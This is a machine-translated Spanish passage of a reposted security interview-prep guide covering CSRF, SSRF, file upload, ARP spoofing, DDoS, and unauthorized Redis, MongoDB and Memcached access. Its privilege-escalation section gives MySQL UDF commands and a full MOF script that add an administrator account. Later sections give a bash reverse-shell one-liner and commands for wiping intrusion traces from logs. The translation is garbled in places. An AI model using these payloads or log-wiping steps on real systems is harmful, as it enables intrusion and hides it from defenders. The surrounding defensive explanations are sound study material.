En circunstancias normales, una página que genera puntos XSS no pertenece a la propia página y las páginas que generan comportamientos interactivos entre usuarios pueden provocar la generación de gusanos XSS.
El XSS almacenado no es necesariamente necesario

11. CSRF

1. Principio CSRF

CSRF es un ataque de falsificación de solicitudes entre sitios que lo inicia el cliente porque no hay confirmación de si fue iniciado voluntariamente por el usuario al ejecutar operaciones clave.

2. Defensa

Verificar que el referente
agregue el token

3. Compare el token y el referente horizontalmente. ¿Cuál tiene mayor nivel de seguridad?

El nivel de seguridad del token es más alto, porque ningún servidor puede obtener el referente, y si salta de HTTPS a HTTP, el referente no se enviará. Y el árbitro se puede personalizar en algunas versiones de FLASH. Pero en cuanto al token, se debe garantizar que sea lo suficientemente aleatorio y no pueda filtrarse. (Principio de imprevisibilidad)

4. ¿Desde qué ángulo se debe verificar el referente? Si es así, ¿cómo prevenir problemas?

Para la verificación del referente en el encabezado, uno es un referente vacío y el otro es un referente con filtrado o detección incompleta. Para evitar este problema, las reglas habituales deben estar bien escritas en la lista blanca de verificación.

5. Con respecto a los tokens, ¿a qué aspectos de los tokens se les prestará atención y qué aspectos de los tokens se probarán?

Citando una respuesta de un mayor:

Los ataques a tokens incluyen, en primer lugar, atacar el token en sí, repetir la prueba una vez, analizar las reglas de cifrado, verificar si el método de verificación es correcto, etc.; en segundo lugar, combinar vulnerabilidades de fuga de información para obtenerla y lanzar ataques combinados para potencialmente filtrar información.
. Es caché, registro, obtención o puede ser el uso de sitios cruzados.
Muchos inicios de sesión de salto dependen de tokens. Si hay una vulnerabilidad de salto y un sitio cruzado reflectante, se puede combinar en secuestro de inicio de sesión.
Además, Los tokens también se pueden combinar con otros negocios para describir el token. ¿Cómo se puede evitar si la seguridad y el diseño no son buenos, como robar sobres rojos, etc.?

11. SSRF

SSRF (falsificación de solicitudes del lado del servidor) es una vulnerabilidad de seguridad construida por un atacante para generar una solicitud iniciada por el servidor. Normalmente, los ataques SSRF se dirigen a sistemas internos a los que no se puede acceder desde la red externa. (Precisamente porque es iniciado por el servidor, puede solicitar el sistema interno conectado a él y aislado de la red externa)

La mayoría de las razones para la formación de SSRF son que el servidor proporciona la función de obtener datos de otras aplicaciones del servidor y no filtra ni restringe la dirección de destino. Por ejemplo, obtener contenido de texto de una página web desde una dirección URL específica, cargar imágenes desde una dirección específica, descargarlas, etc.

1. Monitoreo

Método de verificación de la vulnerabilidad SSRF:

1) Debido a que la vulnerabilidad SSRF es una vulnerabilidad de seguridad que permite al servidor enviar solicitudes, podemos determinar si existe una vulnerabilidad SSRF capturando paquetes y analizando si la solicitud es enviada por el servidor.

2) Encuentre la dirección del recurso accedido en el código fuente de la página. Si el tipo de dirección del recurso es www.baidu.com/xxx.php?image= (dirección), puede haber una vulnerabilidad SSRF 4 [1]

2. Causas y omisiones de defensa de las vulnerabilidades de la SSRF

Causa: El servidor simulado realizó solicitudes de otros recursos del servidor sin verificación de legalidad. Utilización: cree una IP de intranet maliciosa para su detección o utilice otros protocolos compatibles para atacar otros servicios. Defensa: prohibir saltos, restringir protocolos, restricciones de red interna y externa, restricciones de URL. Omitir: use diferentes protocolos, omita IP, formato de IP, agregue otros caracteres a la URL, URL maliciosa, @, etc. 301 salto + reenlace dns.

12. Subir

1. Principio de vulnerabilidad de carga de archivos

Debido a un control insuficiente o a defectos de procesamiento por parte de los programadores sobre las cargas de archivos de los usuarios, los usuarios pueden cargar archivos de script dinámicos ejecutables al servidor más allá de sus propios permisos.

2. Métodos comunes de omisión de carga

Verificación js frontal: deshabilitar la modificación del paquete js/burp, sufijo doble
entre mayúsculas
y minúsculas,
omisión de filtro pphphp->php

3. Protección

Configure el directorio de carga de archivos para que no sea ejecutable.
Utilice una lista blanca para determinar el tipo de carga de archivos
. Reescriba el nombre del archivo y la ruta con números aleatorios.

4. ¿Cuál es el significado de revisar los elementos del punto de carga?

Las restricciones sobre los tipos de archivos cargados de algunos sitios se implementan en la interfaz. En este caso, simplemente agregar el tipo de carga puede romper las restricciones.

13. El archivo contiene

1. Principio

Introduzca un script o código que el usuario pueda controlar y deje que el servidor ejecute funciones como include() para introducir los archivos que deben incluirse a través de variables dinámicas; el usuario puede controlar las variables dinámicas
.

2. Funciones que provocan que se incluyan archivos

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(),… JSP/Servlet:ava.io.File(), java.io.Fil-eReader() , … ASP: incluye archivo, incluye virtual,

3. Los archivos locales incluyen

Las vulnerabilidades que pueden abrir e incluir archivos locales se denominan vulnerabilidades de inclusión de archivos locales.

14. Lagunas lógicas

1. Lagunas lógicas comunes en la industria financiera

Dirigidos únicamente a negocios financieros, los principales son la manipulación de datos (que involucra datos financieros o datos de juicio de parte del negocio), la especulación causada por condiciones competitivas o un diseño inadecuado, la filtración de información de transacciones/pedidos, la visualización horizontal no autorizada de cuentas de otras personas o Operaciones maliciosas, transacciones o pasos comerciales omitidos.

15. Ataque de intermediario

Un ataque de intermediario es un ataque de (falta de) autenticación mutua; una vulnerabilidad causada por la falta de autenticación mutua entre el cliente y el servidor durante el protocolo de enlace SSL.

Las soluciones para defenderse de los ataques de intermediario suelen basarse en las siguientes tecnologías:

1. La infraestructura de clave pública PKI utiliza el mecanismo de autenticación mutua de PKI, el cliente verifica el servidor y el servidor verifica al cliente; en los dos ejemplos anteriores, solo se verifica el servidor, lo que provoca una vulnerabilidad en el enlace de protocolo de enlace SSL. Si es mutuo Se utiliza autenticación. Si es así, básicamente puede proporcionar una autenticación mutua más sólida.

2. Prueba de retraso

Los cálculos que utilizan funciones hash criptográficas complejas pueden provocar retrasos de decenas de segundos; si ambas partes normalmente tardan 20 segundos en calcularse y toda la comunicación tarda 60 segundos en calcularse para llegar a la otra parte, esto podría indicar la presencia de un tercero intermediario. .

3. Utilice otras formas de intercambio de claves

Suplantación de ARP

principio

Cada host tiene una tabla de caché ARP, que registra la correspondencia entre la dirección IP y la dirección MAC, y la transmisión de datos LAN se basa en la dirección MAC. Hay una falla en el mecanismo de la tabla de caché ARP, es decir, cuando el host solicitante recibe el paquete de respuesta ARP, no verifica si ha enviado un paquete de solicitud ARP al otro host, sino que compara directamente la dirección IP en la devolución. paquete con la dirección MAC. La relación se guarda en la tabla de caché ARP. Si hay una relación original correspondiente con la misma IP, se reemplazará la original. De esta forma, el atacante tiene la posibilidad de espiar los datos transmitidos por el host.

proteccion

1. Vincule la dirección MAC y IP de la puerta de enlace al host de forma estática (el valor predeterminado es dinámico), comando: arp -s gateway IP gateway MAC

2. Vincule la dirección IP y MAC del host en la puerta de enlace

3. Utilice el cortafuegos ARP

16. DDOS

1. Principio DDOS

Usar solicitudes razonables para provocar una sobrecarga de recursos, lo que resulta en la indisponibilidad del servicio.

El principio de syn torrent

Falsifique una gran cantidad de direcciones IP de origen y envíe una gran cantidad de paquetes SYN al servidor respectivamente. En este momento, el servidor devolverá paquetes SYN/ACK. Debido a que la dirección de origen está falsificada, la IP falsificada no responderá y el servidor no recibe la respuesta IP falsificada se reintentará de 3 a 5 veces y se esperará un SYNTime (normalmente de 30 segundos a 2 minutos). Si se agota el tiempo de espera, se descartará la conexión. El atacante envía una gran cantidad de solicitudes SYN con direcciones de origen falsificadas. El servidor consumirá muchos recursos (CPU y memoria) para procesar dichas semiconexiones y, al mismo tiempo, debe reintentar constantemente SYN+ACK para estas. IP. El resultado final es que el servidor no tiene tiempo para responder a las solicitudes de conexión normales, lo que provoca una denegación de servicio.

Principio de ataque CC

Inicie continuamente solicitudes normales a algunas páginas de aplicaciones que consumen grandes recursos para lograr el propósito de consumir recursos del lado del servidor.

2. Protección DOSS

SYN Cookie/SYN Proxy, reinicio seguro y otros algoritmos. La idea principal de SYN Cookie es asignar una "Cookie" a cada dirección IP y contar la frecuencia de acceso de cada dirección IP. Si se recibe una gran cantidad de paquetes de datos de la misma dirección IP en un corto período de tiempo, se considera que está bajo ataque y los paquetes posteriores de esta dirección IP se descartarán.

17. Elevación de autoridad

Dos formas de escalar privilegios en MySQL

escalada de privilegios udf, escalada de privilegios mof

Extracción MySQL_UDF

Requisitos: 1. El sistema de destino es Windows (Win2000: para MYSQL 5.1 o superior, el archivo udf.dll debe colocarse en la carpeta lib\plugin en el directorio de instalación de MYSQL para crear una función personalizada. Puede ingresar select @@ basedirshow variables como '%plugins%' en mysql para encontrar la instalación de mysql. Escalada de privilegios de ruta:

Cree funciones funcionales utilizando declaraciones SQL. Sintaxis: Crear nombre de función de función (el nombre de función solo puede ser uno de la siguiente lista) devuelve la cadena soname 'Ruta de DLL exportada';

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

Este directorio no existe de forma predeterminada, por lo que debemos usar webshell para encontrar el directorio de instalación de MYSQL, crear la carpeta lib\plugin en el directorio de instalación y luego exportar el archivo udf.dll a este directorio.

MySQL mof escalada de privilegios

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

Cambie el comando en la línea 18 antes de cargar.

2. Ejecute load_file y dumpfile para exportar el archivo a la ubicación correcta.

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

Después de que la ejecución sea exitosa, puede agregar un usuario normal, luego puede cambiar el comando, cargar y exportar la ejecución para actualizar el usuario a privilegios de administrador, y luego la conexión 3389 estará bien.

18. Lagunas legales especiales

1. Puntales2-045

2. Redis no está autorizado

causa

De forma predeterminada, Redis estará vinculado a 0.0.0.0:6379, lo que expondrá el servicio de Redis a la red pública. Si la autenticación no está activada, cualquier usuario puede acceder al servidor de destino sin autorización. Redis y leer datos de Redis. Los atacantes sin acceso autorizado a Redis pueden usar métodos relacionados con Redis para escribir con éxito la clave pública en el servidor de Redis y luego usar la clave privada correspondiente para iniciar sesión directamente en el servidor de destino.

Condiciones y métodos de utilización.

condición:

a. El servicio redis se ejecuta con la cuenta raíz.
b. Redis no tiene contraseña o tiene una contraseña débil para la autenticación.
c. Redis escucha en la red pública 0.0.0.0.

método:

a. A través del comando INFO de Redis, puede ver los parámetros relacionados con el servidor e información confidencial, allanando el camino para la posterior penetración del atacante. b. Cargue la clave pública SSH
para obtener permisos de inicio de sesión SSH.
c. Rebote el shell a través de crontab.
D. Utilice el modo esclavo maestro-esclavo.

reparar

Verificación de contraseña,
ejecutar con privilegios reducidos,
restringir IP/modificar puertos

3. Acceso no autorizado a Jenkins

4. Acceso no autorizado a MongoDB

Un atacante ingresa a la interfaz de ejecución de comandos del script a través de un acceso no autorizado para ejecutar instrucciones de ataque.

println "ifconfig -a".execute().text ejecuta algunos comandos del sistema y usa wget para descargar webshell

Cuando el servicio MongoDB se inicia sin agregar ningún parámetro, no hay verificación de permisos de forma predeterminada y se puede acceder a la base de datos de forma remota. Los usuarios que inician sesión pueden realizar cualquier operación de alto riesgo, como agregar, eliminar, modificar y verificar la base de datos a través del puerto predeterminado sin contraseña.

proteccion

Agregue autenticación para MongoDB: 1) Agregue el parámetro –auth cuando se inicie MongoDB 2) Agregue un usuario a MongoDB: use admin #Use la biblioteca de administración db.addUser(“root”, “123456”) #Agregue la base de datos de usuario con nombre de usuario raíz y contraseña 123456. auth("root","123456") #Verifique si la adición es exitosa. Devuelva 1 para indicar éxito. 2. Deshabilite los puertos HTTP y REST. MongoDB tiene un servicio HTTP y admite la interfaz REST. Después de 2.6, estas interfaces están cerradas de forma predeterminada. Por defecto mongoDB usará el puerto predeterminado para escuchar el servicio web. Generalmente no hay necesidad de administración remota a través de la web. Se recomienda deshabilitarlo. Modifique el archivo de configuración o seleccione el parámetro –nohttpinterface nohttpinterface=false al inicio 3. Restrinja la IP vinculante. Agregue el parámetro –bind_ip 127.0.0.1 al inicio o agregue el siguiente contenido al archivo /etc/mongodb.conf: bind_ip = 127.0.0.1

5. Acceso no autorizado a Memcache

Memcached es un sistema de almacenamiento en caché de valores clave de uso común. Dado que no tiene un módulo de control de permisos, los atacantes pueden escanear y descubrir fácilmente el servicio Memcache abierto a la red pública. Los atacantes pueden leer directamente información confidencial en Memcached mediante la interacción de comandos. .

usar

a. Inicie sesión en la máquina y ejecute el comando netstat -an |more para verificar el estado de monitoreo del puerto. El eco 0.0.0.0:11211 indica que todas las tarjetas de red están monitoreadas y existe una vulnerabilidad de acceso no autorizado a Memcached.

b.Telnet 11211, o nc -vv 11211, si la conexión se realiza correctamente, la vulnerabilidad existe.

Endurecimiento de la vulnerabilidad

a. Configure memchached para permitir solo el acceso local. b. Deshabilite el acceso a la red externa al puerto 11211 de Memcached. c. Agregue –enable-sasl al compilar para habilitar la autenticación SASL.

6. Lectura de archivos locales FFMPEG

principio

Cifre la carga útil en un segmento de bytes que se ejecutará llamando a la API de cifrado. Pero en la respuesta específica al proyecto, solo respondí el antiguo agujero SSRF, el encabezado m3u8, el desplazamiento y el cifrado.

19. Conocimientos de seguridad

1 、 WEB

Marcos JAVA comunes de desarrollo WEB

Vulnerabilidades comunes del framework Java de STRUTS, SPRING De hecho, cuando el entrevistador hizo esta pregunta, no estaba muy seguro de lo que preguntaba. Mencioné 045 048 de struts, deserialización común en Java. 045 El manejo de errores introduce la expresión ognl 048 En el proceso de encapsulación de la acción, hay un paso para llamar a getstackvalue para obtener de forma recursiva el objeto de operación de deserialización de la expresión ognl, que se introduce por medio. El mecanismo de reflexión de Apache Common y la reescritura de ReadObject, de hecho, no recuerdo los detalles. . . Entonces esta parte ha terminado

Política del mismo origen

La política del mismo origen impide que diferentes fuentes lean o establezcan el contenido de atributos del documento actual. Distinguiendo diferentes fuentes: protocolo, nombre de dominio, nombre de subdominio, IP, puerto, si hay diferencias en lo anterior significa diferentes fuentes.

Tecnología de defensa y ataque de seguridad Jsonp, cómo escribir una página de ataque Jsonp

Contenido de defensa y ataque de seguridad que involucra Jsonp

Secuestro de JSON, se puede definir devolución de llamada, se puede definir contenido JSONP y el tipo de contenido no es json.

página de ataque

Secuestro de JSON, secuestro de información confidencial entre dominios, la página es similar a

función wooyun(v){ alerta(v.nombre de usuario); }

Cuando el tipo de contenido es incorrecto, se puede definir contenido JSONP y devolución de llamada, lo que puede provocar XSS. Para JSONP, FLASH y otras aplicaciones, consulte la tecnología de defensa y ataque de seguridad JSONP de Chuangyu.

2、PHP

Funciones involucradas en la ejecución de comandos en php

Ejemplos de uso: eval(),assert(),popen(),system(),exec(),shell_exec(),passthru(),pcntl_exec(),call_user_func_array(),create_function()

Referencias: file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

Ejecución de comandos: system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open() para
omitir la función de desactivación de PHP en modo seguro

Funciones DL, vulnerabilidades de componentes, variables de entorno.
PHP tipeo débil

== Al comparar, los tipos de cadena se convertirán primero al mismo tipo y luego se compararán

Si se compara un número con una cadena o se comparan cadenas que involucran contenido numérico, la cadena se convierte en un valor numérico y la comparación se realiza como un valor numérico.

Una cadena que comienza con 0e es igual a 0

3. Base de datos

La ubicación donde se almacenan varios archivos de bases de datos.

mysql:
/usr/local/mysql/data/ 
C:\ProgramData\MySQL\MySQL Server 5.6\Data\
oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

4. Sistema

Cómo borrar registros

meterpreter:
¿Qué registros deben borrarse después de que clearev invade el servidor Linux?

Registros web, como access.log y error.log de Apache. Es demasiado obvio borrar el registro directamente. Generalmente, sed se usa para la limpieza dirigida.

e.g. sed -i -e ‘/192.169.1.1/d’

La limpieza del comando de historial también es una limpieza dirigida de ~/.bash_history

Borrar registros de wtmp, /var/log/wtmp

Borrar registro de inicio de sesión /var/log/secure ¿Cuáles son los comandos
de LINUX
para verificar la conexión del puerto actual? Las diferencias, ventajas y desventajas de los comandos netstat y ss

netstat -antp` `ss -l

La ventaja de ss es que puede mostrar información cada vez más detallada sobre TCP y el estado de la conexión, y es más rápido y eficiente que netstat.
¿Comandos comunes para el shell de rebote? ¿Qué caparazón suele rebotar? ¿Por qué?

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

¿Qué información se puede obtener a través del directorio /proc del sistema Linux y qué aplicaciones de seguridad puede tener esta información?

ls /proc

Información del sistema, información del hardware, versión del kernel, módulos cargados y procesos.
En los sistemas Linux, detectar los elementos de configuración de qué archivos de configuración puede mejorar la seguridad de SSH.

/etc/ssh/sshd___configiptables configuración
Cómo ver las últimas cien líneas de contenido del archivo con un comando

tail -n 100 filename

¿Cómo refuerza Windows
el entorno de trabajo de escritorio de Windows en un entorno de dominio? Por favor danos tu opinión.

5. Criptografía

Pasos de trabajo específicos del
algoritmo AES/DES RSA

Cifrado:
texto cifrado = texto plano ^EmodN

El cifrado RSA es el proceso de dividir el texto sin formato entre N después de elevarlo a la potencia de E.
Clave pública = (E, N)

Descifrado:
texto sin formato = texto cifrado ^DmodN clave privada = (D, N)

Tres parámetros n, e1, e2

n es el producto de dos números primos grandes p y q.
Modo de cifrado del cifrado en bloque.
¿Cómo generar un número aleatorio seguro?

Citando la respuesta de un estudiante de último año, se pueden generar números aleatorios a través de algunos sistemas físicos, como las fluctuaciones de voltaje, el tiempo de búsqueda del cabezal del disco al leer/escribir, el ruido de las ondas electromagnéticas en el aire, etc.
Proceso de protocolo de enlace SSL

Establezca una conexión TCP, el cliente envía una solicitud SSL, el servidor procesa la solicitud SSL, el cliente envía datos aleatorios cifrados con la clave pública, el servidor descifra los datos aleatorios cifrados con la clave privada y negocia la contraseña, y el servidor y uso del cliente El código secreto genera el algoritmo de cifrado y la clave, y luego se comunica normalmente. Originalmente me olvidé de esta parte, pero cuando estaba viendo SSL Pinning antes, parecía tener una imagen en mi mente. Después de luchar durante mucho tiempo, todavía no podía estar seguro, así que me di por vencido. . .
¿Cuáles son las diferencias entre cifrado simétrico y cifrado asimétrico y para qué se utilizan?

6、TCP/IP

Proceso de protocolo de enlace de tres vías TCP y transiciones de estado correspondientes

(1) El cliente envía un paquete SYN al servidor, incluido el número de puerto utilizado por el cliente y el número de secuencia inicial x; (2) Después de
recibir el paquete SYN del cliente, el servidor envía un SYN y ACK al cliente. El mensaje TCP con ambos bits configurados contiene el número de confirmación xx1 y el número de secuencia inicial del servidor y; (
3) Después de recibir el mensaje SYNSACK devuelto por el servidor, el cliente devuelve un número de confirmación yy1 y un número de secuencia xx1 al servidor. Mensaje ACK , se completa una conexión TCP estándar.
La diferencia entre los protocolos TCP y UDP

TCP está orientado a la conexión y UDP está orientado a los mensajes. TCP tiene muchos requisitos para los recursos del sistema. UDP tiene una estructura simple. TCP garantiza la integridad y el orden de los datos. UDP no garantiza el proceso de establecimiento de https
.

a. El cliente envía una solicitud al servidor.
b. El servidor devuelve el certificado y la clave pública. La clave pública existe como parte del certificado.
c. El cliente verifica la validez del certificado y la clave pública. Si es válido, genera un secreto compartido. La clave se cifra usando la clave pública y se envía al servidor
d. El servidor usa la clave privada para descifrar los datos y usa la clave compartida recibida para cifrar los datos y los envía al cliente
e. El cliente usa la clave compartida para descifrar los datos
F. establecimiento cifrado SSL

7. Análisis de tráfico

Reglas de filtrado simples de Wireshark

filtro ip:

Dirección IP de origen del filtro: ip.src1.1.1.1; dirección IP de destino: ip.dst1.1.1.1;

Puerto de filtro:

Puerto de filtro 80: tcp.port80, puerto de origen: tcp.srcport80, puerto de destino: tcp.dstport==80

Filtrado de protocolos:

Simplemente ingrese el nombre del protocolo directamente, como el protocolo http http

Filtrado en modo http:

Filtrar paquete get/post http.request.method=="GET/POST"

8. Cortafuegos

Describa brevemente varios elementos básicos de refuerzo de la configuración comúnmente utilizados en enrutadores, conmutadores, firewalls y otros equipos de red, así como los métodos de configuración.

Este artículo está reproducido de Internet y ha sido eliminado.

Supongo que te gusta

Origin blog.csdn.net/qq_30163677/article/details/130859459
Recomendado
Clasificación